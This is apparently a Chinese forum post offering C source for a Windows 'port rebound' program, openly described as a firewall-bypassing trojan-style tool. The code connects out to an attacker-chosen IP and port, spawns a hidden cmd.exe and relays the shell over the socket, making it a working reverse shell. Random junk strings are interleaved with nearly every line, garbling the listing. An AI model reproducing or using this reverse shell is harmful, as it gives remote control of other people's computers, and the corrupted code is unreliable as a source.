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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )Si2 u5  
;H'gT+t<c  
/* ============================== ;_O)p,p  
Rebound port in Windows NT (JUZCP/\  
By wind,2006/7 `P}9i@C  
===============================*/ $}GTG'*.  
#include F;q#&  
#include M.q=p[  
a5jL7a?6]  
#pragma comment(lib,"wsock32.lib") J00VTb`  
o!c] (  
void OutputShell();  ?K_ '@  
SOCKET sClient; +B}0=Ex$t  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ][&9]omB  
LWfqEL -  
void main(int argc,char **argv) !bnyJA  
{ r;&>iX4B  
WSADATA stWsaData; U_B(( Z(g  
int nRet; Yg9joNBh  
SOCKADDR_IN stSaiClient,stSaiServer; @FO) 0  
*L4`$@l8  
if(argc != 3) Lel|,mc`k2  
{ NZ0O,} m  
printf("Useage:\n\rRebound DestIP DestPort\n"); 5PT5#[  
return; Q~{H@D`<  
} "Gb1K9A im  
zfA GtT <  
WSAStartup(MAKEWORD(2,2),&stWsaData); tDg}Ys=4K>  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c!K]J  
*Hz^K0:8(  
stSaiClient.sin_family = AF_INET; f+_h !j  
stSaiClient.sin_port = htons(0); Z?5V4F:f  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); J aTp} #  
457\&  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ` Ag{)  
{ n+;6=1d7ZW  
printf("Bind Socket Failed!\n"); 'Ft0Ry<OL  
return; vw,rF`LjZ  
} p Z: F:  
TS2ZF{m  
stSaiServer.sin_family = AF_INET; Uu 8,@W+  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); EJ@p-}I!  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4db(<h  
*z*uEcitW  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) c2t=_aAIPQ  
{ Y_woKc*  
printf("Connect Error!"); G3G#ep~)vC  
return; F8:vDv  
} G 0%6ch^%  
OutputShell(); %w7u]-tR  
} C?Bl{4-P}*  
%h?x!,q Y  
void OutputShell() !$-\;<bZw  
{ YG [;"QR  
char szBuff[1024]; #9-P%%kQ  
SECURITY_ATTRIBUTES stSecurityAttributes; U4aU}1RKz  
OSVERSIONINFO stOsversionInfo; /='. 4 v  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; InXn%9]p]  
STARTUPINFO stStartupInfo; VXIP0p@  
char *szShell; z|EEVNFd&  
PROCESS_INFORMATION stProcessInformation; Y2o?gug  
unsigned long lBytesRead; $6OkIP.  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Bp8'pj;~  
F *FwRj  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); }by;F9&B  
stSecurityAttributes.lpSecurityDescriptor = 0; pn.wud}R  
stSecurityAttributes.bInheritHandle = TRUE; &e 6CJ  
V-<GT ?  
 1%4sHSN  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Tq]Sn]CSP  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =jB08A  
[<DZ*|+  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); At7>V-f}  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &l3iV88  
stStartupInfo.wShowWindow = SW_HIDE; Oo"^%F~%  
stStartupInfo.hStdInput = hReadPipe; Ag{iq(X  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; d&ex5CU5  
^*P%=>zO  
GetVersionEx(&stOsversionInfo); bFe+m1Q_  
N"nd*?  
switch(stOsversionInfo.dwPlatformId) DxUKUE  
{ |<:vY  
case 1: yE}}c{hSn  
szShell = "command.com"; 4"gM<z  
break; {}3${  
default: !O`(JSoG  
szShell = "cmd.exe"; ;\f gF@  
break; 0T Q$C-%  
} (h >-&.`&  
cSXwYZDx?  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >}+/{(K"E|  
g !rQ4#4  
send(sClient,szMsg,77,0); .Fdgb4>BXX  
while(1) N[s}qmPha  
{ -$\+' \  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); F(tx)V ~T3  
if(lBytesRead) -r-k_6QP  
{ ^J$2?!~  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); R8ZK]5{o  
send(sClient,szBuff,lBytesRead,0); spt6]"Ni  
} KXx32 b,~  
else `DV.+>O-1  
{ O^oWG&Y;v  
lBytesRead=recv(sClient,szBuff,1024,0); mV3cp rRqv  
if(lBytesRead<=0) break; O8h%3&  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); V5UF3'3;}  
} ["h5!vj  
} 9I&xfvD,  
nih0t^m'  
return; 19w*!FGX  
}
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